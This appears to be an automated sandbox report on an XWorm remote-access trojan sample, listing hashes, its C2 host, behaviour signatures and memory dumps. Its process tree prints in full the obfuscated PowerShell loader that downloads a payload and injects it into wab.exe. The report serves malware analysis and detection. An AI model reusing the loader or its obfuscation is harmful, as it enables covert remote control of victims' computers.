xworm | 74dded6a9d78cb7d3b4f1a0141abe5c25c552583a6a1a1a2c37d3e263f611ab6

General

Target

zap.cmd
Size

6KB
MD5

e60c8b85dbb0822e8d7783bfbcf1373e
SHA1

b82628d1e5f5990cce0fc1759db1d66d272970de
SHA256

74dded6a9d78cb7d3b4f1a0141abe5c25c552583a6a1a1a2c37d3e263f611ab6
SHA512

f4cd5242390b101450cd77d50c661332e042a5a49512d0421aa1aa245ed44820c4759f8db18b9643f4f29ae7ad853451b8b8bac9c76abaca85abbd4e64bd0229
SSDEEP

96:3CAmMQCWs85AG8Cdzn7mhmFDSKG1obatde4MlXMQpQAqvbfq0ifcZvc+dmu29g:3CANQC5iARCdQwg122NMzQq0iUNNdmuh

Score

10^/10

xworm execution rat trojan

Malware Config

Extracted

Family

xworm

Version

3.1

C2

xgmn934.duckdns.org:8896

Mutex

2utLZrxcByvppTdF

Attributes

install_file
USB.exe

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

Processes:

resource	yara_rule
behavioral3/memory/2568-72-0x0000000000A90000-0x0000000000A9E000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Blocklisted process makes network request 5 IoCs

Processes:

powershell.exe

flow pid process

5 3960 powershell.exe
11 3960 powershell.exe
15 3960 powershell.exe
21 3960 powershell.exe
23 3960 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

3960 powershell.exe
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

Processes:

wab.exe

pid process

2568 wab.exe
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

Processes:

powershell.exewab.exe

pid process

2400 powershell.exe
2568 wab.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 2400 set thread context of 2568 2400 powershell.exe wab.exe
Suspicious behavior: EnumeratesProcesses 7 IoCs

Processes:

powershell.exepowershell.exewab.exe

pid process

3960 powershell.exe
3960 powershell.exe
2400 powershell.exe
2400 powershell.exe
2400 powershell.exe
2400 powershell.exe
2568 wab.exe
Suspicious behavior: MapViewOfSection 1 IoCs

Processes:

powershell.exe

pid process

2400 powershell.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exepowershell.exewab.exe

description pid process

Token: SeDebugPrivilege 3960 powershell.exe
Token: SeDebugPrivilege 2400 powershell.exe
Token: SeDebugPrivilege 2568 wab.exe
Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

wab.exe

pid process

2568 wab.exe

flow	pid	process
5	3960	powershell.exe
11	3960	powershell.exe
15	3960	powershell.exe
21	3960	powershell.exe
23	3960	powershell.exe

pid	process
3960	powershell.exe

pid	process
2568	wab.exe

pid	process
2400	powershell.exe
2568	wab.exe

description	pid	process	target process
PID 2400 set thread context of 2568	2400	powershell.exe	wab.exe

pid	process
3960	powershell.exe
3960	powershell.exe
2400	powershell.exe
2400	powershell.exe
2400	powershell.exe
2400	powershell.exe
2568	wab.exe

pid	process
2400	powershell.exe

description	pid	process
Token: SeDebugPrivilege	3960	powershell.exe
Token: SeDebugPrivilege	2400	powershell.exe
Token: SeDebugPrivilege	2568	wab.exe

pid	process
2568	wab.exe

Suspicious use of WriteProcessMemory 15 IoCs

Processes:

cmd.exepowershell.exepowershell.exe

description	pid	process	target process
PID 2016 wrote to memory of 3960	2016	cmd.exe	powershell.exe
PID 2016 wrote to memory of 3960	2016	cmd.exe	powershell.exe
PID 3960 wrote to memory of 3392	3960	powershell.exe	cmd.exe
PID 3960 wrote to memory of 3392	3960	powershell.exe	cmd.exe
PID 3960 wrote to memory of 2400	3960	powershell.exe	powershell.exe
PID 3960 wrote to memory of 2400	3960	powershell.exe	powershell.exe
PID 3960 wrote to memory of 2400	3960	powershell.exe	powershell.exe
PID 2400 wrote to memory of 1336	2400	powershell.exe	cmd.exe
PID 2400 wrote to memory of 1336	2400	powershell.exe	cmd.exe
PID 2400 wrote to memory of 1336	2400	powershell.exe	cmd.exe
PID 2400 wrote to memory of 2568	2400	powershell.exe	wab.exe
PID 2400 wrote to memory of 2568	2400	powershell.exe	wab.exe
PID 2400 wrote to memory of 2568	2400	powershell.exe	wab.exe
PID 2400 wrote to memory of 2568	2400	powershell.exe	wab.exe
PID 2400 wrote to memory of 2568	2400	powershell.exe	wab.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\zap.cmd"
1⤵
- Suspicious use of WriteProcessMemory
PID:2016

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -windowstyle hidden "$Dmoner='Sub';$Dmoner+='strin';$Hensigtsmssigt = 1;$Dmoner+='g';Function Gustatorially($Dybgangens){$lymphangiitis=$Dybgangens.Length-$Hensigtsmssigt;For($Parthbr=5;$Parthbr -lt $lymphangiitis;$Parthbr+=6){$Detailprojekter+=$Dybgangens.$Dmoner.Invoke( $Parthbr, $Hensigtsmssigt);}$Detailprojekter;}function Udtrringers192($Tenophony){ . ($Femdobbelte) ($Tenophony);}$Ulvemorens=Gustatorially 'D,gdrMAmusgoProtozFuseniRigsalCut.alStudbaMisau/Fugni5Model.s.opp0Ko,hi fl e(Pr fiWLskniiGlossnstanddVideooS.hemwMoca,s Gade MultiNN terTRechr Pu,kt1Unde,0 alsl.Ar,br0Opmaa;oplys OkinaWSt,amiPl,inn A,er6Ku,ha4Skjal;Skild RadicxUnive6Sgeor4Whit.;Scale R,llyrRiddev.blat:Estop1 Teks2Is.ga1Tarti. Bh.g0Hier.)Hoved SiderGalliaeTima cGrusvkPreseoUncov/S,sse2 Rege0Ivana1Kolon0Iowah0 Flyv1Svag 0No.au1Gamme Sp llFM,ffiiSouthrGu abeAly.sfAppero Cam,xDamna/Fyrin1 ousi2Whela1Bogkl.bomhu0udma ';$Folktale=Gustatorially 'FlskeU ArissAkkoretweetr Smul- PresASemipgFyr,ne Overnp nsptGenn ';$brnesder=Gustatorially 'HovmehCi.ert.isretPar,spFemh.s Unsu:Salut/Konfi/canonwphlogwCephawGu.hi.ClerksUltimeRhabdnIagt.dCakews VivipSemiaaVerdoc Intee elie.Samfuc ,nydo Indsm,crew/ Ulcep ErysrAspenoInjur/mlposd HydrlFort,/Assastsolo.rSpi l8KrydscGangw2A eksxFlota ';$Lnudvikling134=Gustatorially ' ovti>S mmo ';$Femdobbelte=Gustatorially 'PurkeiVoksdeUnperxLno.e ';$Forholdende='Legemsbygnings';$Cycledom = Gustatorially ' brode Xeroc TaenhHo,ieoVlskb Semiu%Pap ca U enp BhutpInvigdSporoaUdfrstAnti.aGeck.%.heop\Yog,tEFra.otDrifthParaleZan,ar Tak,ivtafssBelg.eLnninrForgasNon.x.Uk ndOPorcepStraasKuns Bagag&Grund&Sacri T.inkeSu,ercUnde hVaabeoHj,ed .ulnitsvige ';Udtrringers192 (Gustatorially 'Palae$FldebgVendelSpecioH licbDi.piaAfgudl Trav:TuberJS raduSarcovH wseeApiphnflasheHiccusElatccSubseeTysten StrutElytr=S ksi(D.pencGirthmArci dAfkli Hyeto/Stru.c.ekrt Ru e$PhotoC.fslayDat.ccmyelilSonede endodTormeoTillemGring)Moder ');Udtrringers192 (Gustatorially '.aras$Ma,drgMagislLovteo,aperbStrafa Lu.tlmatal:KlderPEkstrastandrTingsiLukratattemeIns,stSkrifeUncanr rintnPolyseKobl,=Pleu,$d,ababElec,rAktion edeleMahogsT.uttdForfje Ne.trEskap. nvens Icyfp BirdlMentai Unint Fibe(bruce$Fnys,LGoavenSal.suOthe dVolumv Styri KonfkRe islJizyai .ulgn Ove,gAn im1Se.io3Anuri4An.im)Fritn ');$brnesder=$Pariteterne[0];$Spndingsfelts203= (Gustatorially 'Stru.$Spiltg Clo.lUndero BodabRerouaMisvilfor u:Kn,psOMessiu,iscotRe,rowAnlg r SkrmeHi tosPotbot ElevlSta,eeP esh2 ustr3Semim3 Mela=Or,itNBlodse Pac.wfa.lt-I,dreOStabibBa nejEffaceHemmec Del.tStvle SubmeSBlehay ForksHov,dtaa,nieSuperm Geog.Isaf,NHeksee Strit.mord.BruskWNydane AppebSprucCLorunl uropiSandkeBen.hn attt');$Spndingsfelts203+=$Juvenescent[1];Udtrringers192 ($Spndingsfelts203);Udtrringers192 (Gustatorially 'White$AllevO Mgbuu E,datUkuraw a,marOpdrie yerssHai.ht P,iolBrepieLovke2Nedre3 Gaus3Epoxy. DambH Anj,eHaanda LededSwatheForgrrVeeresKvaje[Modar$ MakuFDommeoCognalMyth.kDoddetTtesaa,traclBredse.nfla] Tele=Sjl n$VoiceUGearslIntrov UheleArsenmOdor,oa.starpointeBuc snOrg,nsT.gen ');$Arabine=Gustatorially ' Semi$AbnegOstambuOli.rtT mliwIndvirVerite DecisVelmat N.guludd,leMenui2 Rigs3Hjspn3polym.CeltiDBrepio CertwBjerrnCh rilPharsoAsteraIncapd EcclFGeneriNonfalBibl,eF,nat(.arni$overibPolemrBondenFla,beRimp,sSalamd SerieMe.vrramnio, p,nc$ prajEB.sman astfcTopkioBalleuM.mmin Joust,undbe SeporPileneattriru ifl)Out,e ';$Encounterer=$Juvenescent[0];Udtrringers192 (Gustatorially 'Ac,ou$Skovhg rddelungdoo,urvlbSilenaNonasl mo t:Hjae.FCats.oTilb,rAartie SiftsDemonh fibuoTouchwKvindn Sque=betel(G,napT HelgeMisers En.jtbolth- distPFarv a Ve,it Adoph Sync Batti$SinfuEHjeman Do ecGadedobe ieuKre.snKorrittoryseToityrUnsufeDubbirEpigr).tepg ');while (!$Foreshown) {Udtrringers192 (Gustatorially 'A.ena$ Su.pgTilralBestioPawnbbCalycaF lmllFragt:StrapE Kri,nCamert FormrBudgee yreas Do.p=Parke$Faglit,remdr erneuTosseekunde ') ;Udtrringers192 $Arabine;Udtrringers192 (Gustatorially 'HjemgSbohawtTer,aaCanunrProagtAmfit-presiS BobalBakkeeLerk,ehognopCarbo ,ilit4Iland ');Udtrringers192 (Gustatorially ' Illu$OxidagT,keml AnasoDelfibcontea Indrl Calc:BookrFinseco FderrApio.e rifsRecidhRoueco ImprwMtaalnManha=Cheso( TeleTUncome U,easCompatCleri-GravePTrappaQuarttSpeakhgen.p tomga$Un,ryEJurymn Ect,cMountotempeu Kbesnu ptit ElveeNobbirMesteeSnowsrTholl)int o ') ;Udtrringers192 (Gustatorially 'f,jlt$MataegmegallAtomsoSk.anbPettia Ju,ilDuod,: stilDDeanei .lgesLectreEkspedBrackiP,dalf .rehyGr,as3Stand7Marga=Acrid$O jusgG ronlU.conoInkambForsga T.dsl Aggr: FlorKV.calaFolkesStamckSkftne PastlOvereo eawatKapactFasteeS iranRendy+ P.in+Tem.n%Unwir$TalekPHelbraPredirDkketi Salit TimeePhonet.onine Bradr Pik.n Sjage,fatt.S,natcVermuoArvemuRes,nnP nsit U,nt ') ;$brnesder=$Pariteterne[$Disedify37];}$Biosociological=318639;$Rundbue=29425;Udtrringers192 (Gustatorially ' Over$SyndegGitril LeonoFlunkbTr rea,aktrl Opga:ProteFOutheyKnoxvr Endes,vingtRealiiKamern U.fodKommue PosisForhi2Teleg2 aker0Tests Sekan=corna DesocGbic.peKnasttBu.df-,lvtjCEgetro aakrnRed.ct StjaeProklnDowertHeck, Morge$sateeE Taxan.oddecvoeproVa,beuSandenKaraftlensge RevirFangeePal trNicol ');Udtrringers192 (Gustatorially 'Efter$ eakagSl,nil Ubego oteebAflydaEtuvelSubdu:PneumfNor.aiEnjoyrBeskfeBrestaPretrarinderTronasBalledArbejrSpi,eeCodfinrifligKompae Stat Glim= .rub Indga[SubriSUnin yTeknis BeautCapseePoonsmNrhed. EireC,ntieo,ancenskattvAfskeeOverfr IdentJoyan]ticki:Oopod: Ep.xFAfsk,rSkellodevotmHjertBSubtraprotosSrilae Evan6Sulam4 espS Pr,etOmfavr LuftiYardwnDisgugFe lb(morki$EfterFAs eny.fterrD marsHetertNona iSwellnGudfadNeosse Sta,sA gum2 Klin2Negro0Stoke)Kl en ');Udtrringers192 (Gustatorially 'Amaya$ TampgConfilOprreoUnmenbru,peapaaf.l Grad:,ekstTVejlohHasslaBetonlSk.ezamon,msPostgsPostlijorden AcomiTabu,dV lndiFe.tiaSpe ln Ther Badel=Broil Tanno[I.revSLeukoy Abs sSchertA,bumeForekm Prel.a.cesTret.ieLoka.xRabbitisido..ntaeECapitnBeed,cVikaroTerridInvitiEx,rinFi algBourg]Pensi:Fugtp:Sc,weAShackSBe.agCAchroIBoldeI.praa.Stra GOutsleVortitS effS ,umetklun.rBondsiSkrivn UnimgTnder( Gab,$Persef Episi ,ymprBeslueGazelaHandeaGl,rmr urrsAtolsdBere,r PlomeSt aln Fluog Wageeteist)Dislo ');Udtrringers192 (Gustatorially 'fle s$ OvergHyosclGene.oWh teb irkaVikkil Dogm: CreaCgerrie Kal rA.lega BegamM temaBoba l ocia=Balte$Fors TTraphhDisila ermol pfora,npinsS.vblsO teoiAds,lnOpticiarc edRecomis iriaSamm,n efou.UnwetsTestauStyreb FanasSkriftThermrulseliMiliensupe.gjudah(,nfer$EfterBexhusi loudou,errsDegreoSunnicFikekiApokooSympolOverfo,lkevgSlantiHenvec S,aaaPrci.lTotal,Nonch$SamfuRBikseu,azhynEpoped Afdebvilliu MuckeHnse )Brost ');Udtrringers192 $Ceramal;"
2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3960

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Etherisers.Ops && echo t"
3⤵
PID:3392

C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Dmoner='Sub';$Dmoner+='strin';$Hensigtsmssigt = 1;$Dmoner+='g';Function Gustatorially($Dybgangens){$lymphangiitis=$Dybgangens.Length-$Hensigtsmssigt;For($Parthbr=5;$Parthbr -lt $lymphangiitis;$Parthbr+=6){$Detailprojekter+=$Dybgangens.$Dmoner.Invoke( $Parthbr, $Hensigtsmssigt);}$Detailprojekter;}function Udtrringers192($Tenophony){ . ($Femdobbelte) ($Tenophony);}$Ulvemorens=Gustatorially 'D,gdrMAmusgoProtozFuseniRigsalCut.alStudbaMisau/Fugni5Model.s.opp0Ko,hi fl e(Pr fiWLskniiGlossnstanddVideooS.hemwMoca,s Gade MultiNN terTRechr Pu,kt1Unde,0 alsl.Ar,br0Opmaa;oplys OkinaWSt,amiPl,inn A,er6Ku,ha4Skjal;Skild RadicxUnive6Sgeor4Whit.;Scale R,llyrRiddev.blat:Estop1 Teks2Is.ga1Tarti. Bh.g0Hier.)Hoved SiderGalliaeTima cGrusvkPreseoUncov/S,sse2 Rege0Ivana1Kolon0Iowah0 Flyv1Svag 0No.au1Gamme Sp llFM,ffiiSouthrGu abeAly.sfAppero Cam,xDamna/Fyrin1 ousi2Whela1Bogkl.bomhu0udma ';$Folktale=Gustatorially 'FlskeU ArissAkkoretweetr Smul- PresASemipgFyr,ne Overnp nsptGenn ';$brnesder=Gustatorially 'HovmehCi.ert.isretPar,spFemh.s Unsu:Salut/Konfi/canonwphlogwCephawGu.hi.ClerksUltimeRhabdnIagt.dCakews VivipSemiaaVerdoc Intee elie.Samfuc ,nydo Indsm,crew/ Ulcep ErysrAspenoInjur/mlposd HydrlFort,/Assastsolo.rSpi l8KrydscGangw2A eksxFlota ';$Lnudvikling134=Gustatorially ' ovti>S mmo ';$Femdobbelte=Gustatorially 'PurkeiVoksdeUnperxLno.e ';$Forholdende='Legemsbygnings';$Cycledom = Gustatorially ' brode Xeroc TaenhHo,ieoVlskb Semiu%Pap ca U enp BhutpInvigdSporoaUdfrstAnti.aGeck.%.heop\Yog,tEFra.otDrifthParaleZan,ar Tak,ivtafssBelg.eLnninrForgasNon.x.Uk ndOPorcepStraasKuns Bagag&Grund&Sacri T.inkeSu,ercUnde hVaabeoHj,ed .ulnitsvige ';Udtrringers192 (Gustatorially 'Palae$FldebgVendelSpecioH licbDi.piaAfgudl Trav:TuberJS raduSarcovH wseeApiphnflasheHiccusElatccSubseeTysten StrutElytr=S ksi(D.pencGirthmArci dAfkli Hyeto/Stru.c.ekrt Ru e$PhotoC.fslayDat.ccmyelilSonede endodTormeoTillemGring)Moder ');Udtrringers192 (Gustatorially '.aras$Ma,drgMagislLovteo,aperbStrafa Lu.tlmatal:KlderPEkstrastandrTingsiLukratattemeIns,stSkrifeUncanr rintnPolyseKobl,=Pleu,$d,ababElec,rAktion edeleMahogsT.uttdForfje Ne.trEskap. nvens Icyfp BirdlMentai Unint Fibe(bruce$Fnys,LGoavenSal.suOthe dVolumv Styri KonfkRe islJizyai .ulgn Ove,gAn im1Se.io3Anuri4An.im)Fritn ');$brnesder=$Pariteterne[0];$Spndingsfelts203= (Gustatorially 'Stru.$Spiltg Clo.lUndero BodabRerouaMisvilfor u:Kn,psOMessiu,iscotRe,rowAnlg r SkrmeHi tosPotbot ElevlSta,eeP esh2 ustr3Semim3 Mela=Or,itNBlodse Pac.wfa.lt-I,dreOStabibBa nejEffaceHemmec Del.tStvle SubmeSBlehay ForksHov,dtaa,nieSuperm Geog.Isaf,NHeksee Strit.mord.BruskWNydane AppebSprucCLorunl uropiSandkeBen.hn attt');$Spndingsfelts203+=$Juvenescent[1];Udtrringers192 ($Spndingsfelts203);Udtrringers192 (Gustatorially 'White$AllevO Mgbuu E,datUkuraw a,marOpdrie yerssHai.ht P,iolBrepieLovke2Nedre3 Gaus3Epoxy. DambH Anj,eHaanda LededSwatheForgrrVeeresKvaje[Modar$ MakuFDommeoCognalMyth.kDoddetTtesaa,traclBredse.nfla] Tele=Sjl n$VoiceUGearslIntrov UheleArsenmOdor,oa.starpointeBuc snOrg,nsT.gen ');$Arabine=Gustatorially ' Semi$AbnegOstambuOli.rtT mliwIndvirVerite DecisVelmat N.guludd,leMenui2 Rigs3Hjspn3polym.CeltiDBrepio CertwBjerrnCh rilPharsoAsteraIncapd EcclFGeneriNonfalBibl,eF,nat(.arni$overibPolemrBondenFla,beRimp,sSalamd SerieMe.vrramnio, p,nc$ prajEB.sman astfcTopkioBalleuM.mmin Joust,undbe SeporPileneattriru ifl)Out,e ';$Encounterer=$Juvenescent[0];Udtrringers192 (Gustatorially 'Ac,ou$Skovhg rddelungdoo,urvlbSilenaNonasl mo t:Hjae.FCats.oTilb,rAartie SiftsDemonh fibuoTouchwKvindn Sque=betel(G,napT HelgeMisers En.jtbolth- distPFarv a Ve,it Adoph Sync Batti$SinfuEHjeman Do ecGadedobe ieuKre.snKorrittoryseToityrUnsufeDubbirEpigr).tepg ');while (!$Foreshown) {Udtrringers192 (Gustatorially 'A.ena$ Su.pgTilralBestioPawnbbCalycaF lmllFragt:StrapE Kri,nCamert FormrBudgee yreas Do.p=Parke$Faglit,remdr erneuTosseekunde ') ;Udtrringers192 $Arabine;Udtrringers192 (Gustatorially 'HjemgSbohawtTer,aaCanunrProagtAmfit-presiS BobalBakkeeLerk,ehognopCarbo ,ilit4Iland ');Udtrringers192 (Gustatorially ' Illu$OxidagT,keml AnasoDelfibcontea Indrl Calc:BookrFinseco FderrApio.e rifsRecidhRoueco ImprwMtaalnManha=Cheso( TeleTUncome U,easCompatCleri-GravePTrappaQuarttSpeakhgen.p tomga$Un,ryEJurymn Ect,cMountotempeu Kbesnu ptit ElveeNobbirMesteeSnowsrTholl)int o ') ;Udtrringers192 (Gustatorially 'f,jlt$MataegmegallAtomsoSk.anbPettia Ju,ilDuod,: stilDDeanei .lgesLectreEkspedBrackiP,dalf .rehyGr,as3Stand7Marga=Acrid$O jusgG ronlU.conoInkambForsga T.dsl Aggr: FlorKV.calaFolkesStamckSkftne PastlOvereo eawatKapactFasteeS iranRendy+ P.in+Tem.n%Unwir$TalekPHelbraPredirDkketi Salit TimeePhonet.onine Bradr Pik.n Sjage,fatt.S,natcVermuoArvemuRes,nnP nsit U,nt ') ;$brnesder=$Pariteterne[$Disedify37];}$Biosociological=318639;$Rundbue=29425;Udtrringers192 (Gustatorially ' Over$SyndegGitril LeonoFlunkbTr rea,aktrl Opga:ProteFOutheyKnoxvr Endes,vingtRealiiKamern U.fodKommue PosisForhi2Teleg2 aker0Tests Sekan=corna DesocGbic.peKnasttBu.df-,lvtjCEgetro aakrnRed.ct StjaeProklnDowertHeck, Morge$sateeE Taxan.oddecvoeproVa,beuSandenKaraftlensge RevirFangeePal trNicol ');Udtrringers192 (Gustatorially 'Efter$ eakagSl,nil Ubego oteebAflydaEtuvelSubdu:PneumfNor.aiEnjoyrBeskfeBrestaPretrarinderTronasBalledArbejrSpi,eeCodfinrifligKompae Stat Glim= .rub Indga[SubriSUnin yTeknis BeautCapseePoonsmNrhed. EireC,ntieo,ancenskattvAfskeeOverfr IdentJoyan]ticki:Oopod: Ep.xFAfsk,rSkellodevotmHjertBSubtraprotosSrilae Evan6Sulam4 espS Pr,etOmfavr LuftiYardwnDisgugFe lb(morki$EfterFAs eny.fterrD marsHetertNona iSwellnGudfadNeosse Sta,sA gum2 Klin2Negro0Stoke)Kl en ');Udtrringers192 (Gustatorially 'Amaya$ TampgConfilOprreoUnmenbru,peapaaf.l Grad:,ekstTVejlohHasslaBetonlSk.ezamon,msPostgsPostlijorden AcomiTabu,dV lndiFe.tiaSpe ln Ther Badel=Broil Tanno[I.revSLeukoy Abs sSchertA,bumeForekm Prel.a.cesTret.ieLoka.xRabbitisido..ntaeECapitnBeed,cVikaroTerridInvitiEx,rinFi algBourg]Pensi:Fugtp:Sc,weAShackSBe.agCAchroIBoldeI.praa.Stra GOutsleVortitS effS ,umetklun.rBondsiSkrivn UnimgTnder( Gab,$Persef Episi ,ymprBeslueGazelaHandeaGl,rmr urrsAtolsdBere,r PlomeSt aln Fluog Wageeteist)Dislo ');Udtrringers192 (Gustatorially 'fle s$ OvergHyosclGene.oWh teb irkaVikkil Dogm: CreaCgerrie Kal rA.lega BegamM temaBoba l ocia=Balte$Fors TTraphhDisila ermol pfora,npinsS.vblsO teoiAds,lnOpticiarc edRecomis iriaSamm,n efou.UnwetsTestauStyreb FanasSkriftThermrulseliMiliensupe.gjudah(,nfer$EfterBexhusi loudou,errsDegreoSunnicFikekiApokooSympolOverfo,lkevgSlantiHenvec S,aaaPrci.lTotal,Nonch$SamfuRBikseu,azhynEpoped Afdebvilliu MuckeHnse )Brost ');Udtrringers192 $Ceramal;"
3⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2400

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Etherisers.Ops && echo t"
4⤵
PID:1336

C:\Program Files (x86)\windows mail\wab.exe
"C:\Program Files (x86)\windows mail\wab.exe"
4⤵
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:2568

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1uwcbuue.wnt.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Etherisers.Ops
Filesize
453KB

MD5
5ba170442dc9361bd82c89e62af29b80

SHA1
0b1fa0e1791eb03413106c875f0fb19113bc9ee1

SHA256
92c9377c83fcf01ad63607788e70752a121a0d9b3d394540b76f5fe304170674

SHA512
856a8d16441567d983eba5d9cd108289b6f656458df5bfb9dda8088a9b9a7ef25e7f7a5abb1b280c75609b275b4cc6d1f3483cabb3ddb7623478fdbeea8ddb50

Download Submit
memory/2400-43-0x0000000006850000-0x000000000689C000-memory.dmp

Filesize
304KB

Download
memory/2400-26-0x0000000005AC0000-0x00000000060E8000-memory.dmp

Filesize
6.2MB

Download
memory/2400-73-0x0000000074E90000-0x0000000075640000-memory.dmp

Filesize
7.7MB

Download
memory/2400-44-0x0000000007F30000-0x00000000085AA000-memory.dmp

Filesize
6.5MB

Download
memory/2400-24-0x0000000074E9E000-0x0000000074E9F000-memory.dmp

Filesize
4KB

Download
memory/2400-25-0x0000000002E70000-0x0000000002EA6000-memory.dmp

Filesize
216KB

Download
memory/2400-27-0x0000000074E90000-0x0000000075640000-memory.dmp

Filesize
7.7MB

Download
memory/2400-46-0x0000000007AB0000-0x0000000007B46000-memory.dmp

Filesize
600KB

Download
memory/2400-28-0x0000000005900000-0x0000000005922000-memory.dmp

Filesize
136KB

Download
memory/2400-30-0x00000000061A0000-0x0000000006206000-memory.dmp

Filesize
408KB

Download
memory/2400-29-0x00000000059A0000-0x0000000005A06000-memory.dmp

Filesize
408KB

Download
memory/2400-36-0x0000000074E90000-0x0000000075640000-memory.dmp

Filesize
7.7MB

Download
memory/2400-41-0x0000000006210000-0x0000000006564000-memory.dmp

Filesize
3.3MB

Download
memory/2400-47-0x0000000007A10000-0x0000000007A32000-memory.dmp

Filesize
136KB

Download
memory/2400-55-0x0000000074E90000-0x0000000075640000-memory.dmp

Filesize
7.7MB

Download
memory/2400-45-0x0000000007900000-0x000000000791A000-memory.dmp

Filesize
104KB

Download
memory/2400-54-0x0000000074E9E000-0x0000000074E9F000-memory.dmp

Filesize
4KB

Download
memory/2400-50-0x0000000009110000-0x000000000DE49000-memory.dmp

Filesize
77.2MB

Download
memory/2400-42-0x00000000067C0000-0x00000000067DE000-memory.dmp

Filesize
120KB

Download
memory/2400-48-0x0000000008B60000-0x0000000009104000-memory.dmp

Filesize
5.6MB

Download
memory/2568-71-0x0000000000A90000-0x0000000001CE4000-memory.dmp

Filesize
18.3MB

Download
memory/2568-80-0x0000000024BD0000-0x0000000024BDA000-memory.dmp

Filesize
40KB

Download
memory/2568-79-0x0000000024DB0000-0x0000000024E42000-memory.dmp

Filesize
584KB

Download
memory/2568-74-0x00000000249F0000-0x0000000024A8C000-memory.dmp

Filesize
624KB

Download
memory/2568-72-0x0000000000A90000-0x0000000000A9E000-memory.dmp

Filesize
56KB

Download
memory/3960-2-0x00007FFC7BF83000-0x00007FFC7BF85000-memory.dmp

Filesize
8KB

Download
memory/3960-3-0x000001ACF48D0000-0x000001ACF48F2000-memory.dmp

Filesize
136KB

Download
memory/3960-15-0x00007FFC7BF80000-0x00007FFC7CA41000-memory.dmp

Filesize
10.8MB

Download
memory/3960-52-0x00007FFC7BF83000-0x00007FFC7BF85000-memory.dmp

Filesize
8KB

Download
memory/3960-14-0x00007FFC7BF80000-0x00007FFC7CA41000-memory.dmp

Filesize
10.8MB

Download
memory/3960-77-0x00007FFC7BF80000-0x00007FFC7CA41000-memory.dmp

Filesize
10.8MB

Download
memory/3960-51-0x00007FFC7BF80000-0x00007FFC7CA41000-memory.dmp

Filesize
10.8MB

Download
memory/3960-13-0x00007FFC7BF80000-0x00007FFC7CA41000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing